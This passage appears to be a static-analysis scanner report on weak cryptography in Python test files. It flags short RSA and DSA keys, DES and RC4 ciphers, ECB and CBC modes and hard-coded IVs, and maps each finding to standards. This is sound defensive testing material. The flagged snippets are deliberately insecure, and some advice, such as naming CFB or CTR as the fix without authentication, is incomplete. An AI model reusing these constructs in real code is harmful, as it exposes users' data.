[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Signature: Insufficient Key Size

Description

An otherwise strong cryptographic signature algorithm can be significantly more vulnerable to brute-force attacks if an insufficient key size is used.

Explanation

Current cryptography guidelines suggest that a key length of at least 2048 bits should be used with the RSA and DSA algorithms. However, continued advancements in computing power and factoring techniques [1] mean that future increases in the recommended key size are inevitable.

Example 1: The following code generates a 1024-bit DSA signature key.

```
...
from Crypto.PublicKey import DSA
key = DSA.generate(1024)
...
```

Severity

High

Vulnerabilities

File tests\Weak_Cryptographic_Signature__Insufficient_Key_Size.py, Line 2, Pos 7
```
2 key = DSA.generate(1024)
```

Recommendations

- Set key size value at least 2048

Links

[1] J. Cheng 307-digit key crack endangers 1024-bit RSA (http://arstechnica.com/news.ars/post/20070523-researchers-307-digit-key-crack-endangers-1024-bit-rsa.html)
[2] Elaine Barker and Allen Roginsky NIST Special Publication 800-131A: Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths. NIST (http://csrc.nist.gov/publications/nistpubs/800-131A/sp800-131A.pdf)

[3] B. Chess and J. West, Secure Programming with Static Analysis. Boston, MA: Addison-Wesley, 2007.
[4] Standards Mapping - Common Weakness Enumeration CWE ID 326
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 6.2.1 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 6.2.7 Algorithms, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.6.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II

Weak Encryption

Description

The program uses a weak encryption algorithm that cannot guarantee the confidentiality of sensitive data.

Explanation

Antiquated encryption algorithms such as DES no longer provide sufficient protection for use with sensitive data. Encryption algorithms rely on key size as one of the primary mechanisms to ensure cryptographic strength. Cryptographic strength is often measured by the time and computational power needed to generate a valid key. Advances in computing power have made it possible to obtain small encryption keys in a reasonable amount of time. For example, the 56-bit key used in DES posed a significant computational hurdle in the 1970s when the algorithm was first developed, but today DES can be cracked in less than a day using commonly available equipment.

Severity

High

Vulnerabilities

File tests\Weak_Encryption.py, Line 5, Pos 10
```
5 cipher = ARC4.new(tempkey)
```
File tests\Weak_Encryption.py, Line 7, Pos 10
```
7 cipher = DES.new(key, DES.MODE_OFB)
```
File tests\Weak_Encryption.py, Line 9, Pos 10
```
9 cipher = ARC2.new(key, ARC2.MODE_CFB, iv)
```
File tests\Weak_Encryption.py, Line 11, Pos 10
```
11 cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
```
File tests\Weak_Encryption.py, Line 13, Pos 10
```
13 cipher = CAST.new(key, CAST.MODE_OPENPGP, iv)
```
File tests\Weak_Encryption.py, Line 15, Pos 10
```
15 cipher = DES.new(key, DES.MODE_CTR, counter=ctr)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 6, Pos 10
```
6 cipher = DES3.new(key, DES3.MODE_ECB, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 7, Pos 10
```
7 cipher = DES3.new(key, DES3.MODE_CBC, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 9, Pos 10
```
9 cipher = ARC2.new(key, ARC2.MODE_ECB, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 10, Pos 10
```
10 cipher = ARC2.new(key, ARC2.MODE_CBC, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 12, Pos 10
```
12 cipher = DES.new(key, DES.MODE_ECB, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 13, Pos 10
```
13 cipher = DES.new(key, DES.MODE_CBC, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 15, Pos 10
```
15 cipher = Blowfish.new(key, Blowfish.MODE_ECB, random_iv)
```
File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 16, Pos 10
```
16 cipher = Blowfish.new(key, Blowfish.MODE_CBC, random_iv)
```
File tests\Weak_Encryption__Stream_Cipher.py, Line 5, Pos 10
```
5 cipher = DES3.new(key, DES3.MODE_CTR, random_iv)
```
File tests\Weak_Encryption__Stream_Cipher.py, Line 7, Pos 10
```
7 cipher = ARC2.new(key, ARC2.MODE_CTR, random_iv)
```
File tests\Weak_Encryption__Stream_Cipher.py, Line 9, Pos 10
```
9 cipher = DES.new(key, DES.MODE_CTR, random_iv)
```
File tests\Weak_Encryption__Stream_Cipher.py, Line 11, Pos 10
```
11 cipher = Blowfish.new(key, Blowfish.MODE_CTR, random_iv)
```
File tests\Weak_Encryption__Stream_Cipher.py, Line 13, Pos 10
```
13 cipher = CAST.new(key, CAST.MODE_CTR, random_iv)
```

Recommendations

- Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

Links

[1] distributed.net DES (http://www.distributed.net/des/)

[2] FAQ About the Electronic Frontier Foundation's "DES Cracker" Machine Electronic Frontier Foundation
(http://w2.eff.org/Privacy/Crypto/Crypto_misc/DESCracker/HTML/19980716_eff_des_faq.html)
[3] SDL Development Practices Microsoft (https://download.microsoft.com/download/8/1/6/816C597A-5592-4867-A0A6-A0181703CD59/Microsoft_Press_eBook_TheSecurityDevelopmentLifecycle_PDF.pdf)
[4] Microsoft Security Fundamentals Microsoft
(http://eusecwest.com/esw06/esw06-cushman.ppt)
[5] John Kelsey, Bruce Schneier, and David Wagner Related-key cryptanalysis of 3-WAY, Biham-DES, CAST, DES-X, NewDES, RC2, and TEA
[6] Standards Mapping - Common Weakness Enumeration CWE ID 327
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[8] Standards Mapping - FIPS200 MP
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.6.2 Cryptographic Architectural Requirements, 2.8.2 Single or Multi Factor One Time Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.2 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 6.4.2 Secret Management, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3

[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[28] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[29] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[30] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

Weak Encryption: Insecure Initialization Vector

Description

Initialization vectors should be created using a cryptographic pseudorandom number generator.

Explanation

Initialization vectors (IVs) should be created using a cryptographic pseudorandom number generator. Not using a random IV makes the resulting ciphertext much more predictable and susceptible to a dictionary attack.

Example 1: The following code reuses the key as the IV:

```
from Crypto.Cipher import AES
from Crypto import Random
...
key = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CTR, IV=key)
```

When you use the key as the IV, an attacker may recover the key, allowing the data to be decrypted.

Severity

Medium

Vulnerabilities

File tests\Weak_Encryption__Insecure_Initialization_Vector.py, Line 3, Pos 10

```
3 cipher = AES.new(key, AES.MODE_CFB, iv="as323")
```

File tests\Weak_Encryption__Insecure_Initialization_Vector.py, Line 5, Pos 10

```
5 cipher = AES.new(key, AES.MODE_CFB, IV=123)
```

File tests\Weak_Encryption__Insecure_Initialization_Vector.py, Line 7, Pos 1

```
7 iv = r"bsadasd"
```

File tests\Weak_Encryption__Insecure_Initialization_Vector.py, Line 8, Pos 1

```
8 IV = b"asda2123"
```

File tests\Weak_Encryption__Insecure_Initialization_Vector.py, Line 9, Pos 1

```
9 init_vector = 123123123
```

Recommendations

- Different cipher modes have different requirements for their IVs. When choosing and implementing a mode, it is important to understand those requirements in order to keep security guarantees intact. Generally, it is safest to generate a random IV, since it will be both unpredictable and have a very low chance of being non-unique. IVs do not have to be kept secret, so if generating duplicate IVs is a concern, a list of already-used IVs can be kept and checked against.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 329
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)

[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.6.1, Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.4 - Use of Cryptography
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

Weak Encryption: Insecure Mode of Operation

Description

Do not use cryptographic encryption algorithms with an insecure mode of operation.

Explanation

The mode of operation of a block cipher is an algorithm that describes how to repeatedly apply a cipher's single-block operation to securely transform amounts of data larger than a block. Some modes of operation include Electronic Codebook (ECB), Cipher Block Chaining (CBC), Cipher Feedback (CFB), and Counter (CTR).

ECB mode is inherently weak, as it produces the same ciphertext for identical blocks of plain text. CBC mode is vulnerable to padding oracle attacks. CTR mode is the superior choice because it does not have these weaknesses.

Example 1: The following code uses the AES cipher with ECB mode:

```
    from Crypto.Cipher import AES
    from Crypto import Random
    ...
    key = Random.new().read(AES.block_size)
    random_iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_ECB, random_iv)
```

Severity

High

Vulnerabilities

File tests\Weak_Encryption.py, Line 11, Pos 28

```
 11 cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 3, Pos 23

```
 3 cipher = AES.new(key, AES.MODE_ECB, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 4, Pos 23

```
4 cipher = AES.new(key, AES.MODE_CBC, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 6, Pos 24

```
6 cipher = DES3.new(key, DES3.MODE_ECB, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 7, Pos 24

```
7 cipher = DES3.new(key, DES3.MODE_CBC, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 9, Pos 24

```
9 cipher = ARC2.new(key, ARC2.MODE_ECB, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 10, Pos 24

```
10 cipher = ARC2.new(key, ARC2.MODE_CBC, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 12, Pos 23

```
12 cipher = DES.new(key, DES.MODE_ECB, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 13, Pos 23

```
13 cipher = DES.new(key, DES.MODE_CBC, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 15, Pos 28

```
15 cipher = Blowfish.new(key, Blowfish.MODE_ECB, random_iv)
```

File tests\Weak_Encryption__Insecure_Mode_of_Operation.py, Line 16, Pos 28

```
16 cipher = Blowfish.new(key, Blowfish.MODE_CBC, random_iv)
```

Recommendations

- Use other modes like CFB or CTR instead.

Links

[1] CVE 2014-3566 (Common Weakness Enumeration CWE ID 327)
[2] Friends Don't Let Friends Use ECB-Mode Encryption (https://bobnalice.wordpress.com/2009/01/28/friends-don%E2%80%99t-let-friends-use-ecb-mode-encryption/)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 327
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.4 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.4 - Use of Cryptography
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

Weak Encryption: Insufficient Key Size

Description

An otherwise strong encryption algorithm is vulnerable to brute-force attack when an insufficient key size is used.

Explanation

Current cryptography guidelines suggest that a key length of at least 2048 bits should be used with the RSA algorithm. However, continued advancements in computing power and factoring techniques [1] mean that future increases in the recommended key size are inevitable.

Example 1: The following code generates a 1024-bit RSA encryption key.

```
...
from Crypto.PublicKey import RSA
key = RSA.generate(1024)
...
```

When it comes to symmetric encryption, the key lengths should be at least 168 bits for Triple DES and 128 bits for AES.

Severity

High

Vulnerabilities

File tests\Weak_Encryption__Insufficient_Key_Size.py, Line 2, Pos 7

```
2 key = RSA.generate(1024)
```

Recommendations

- Key length at least 2048 bits should be used with the RSA algorithm

Links

[1] J. Cheng 307-digit key crack endangers 1024-bit RSA (http://arstechnica.com/news.ars/post/20070523-researchers-307-digit-key-crack-endangers-1024-bit-rsa.html)
[2] Cryptographic Algorithms and Key Sizes for Personal Identity Verification NIST (https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-78-4.pdf)
[3] B. Chess and J. West, Secure Programming with Static Analysis. Boston, MA: Addison-Wesley, 2007.
[4] Standards Mapping - Common Weakness Enumeration CWE ID 326
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection

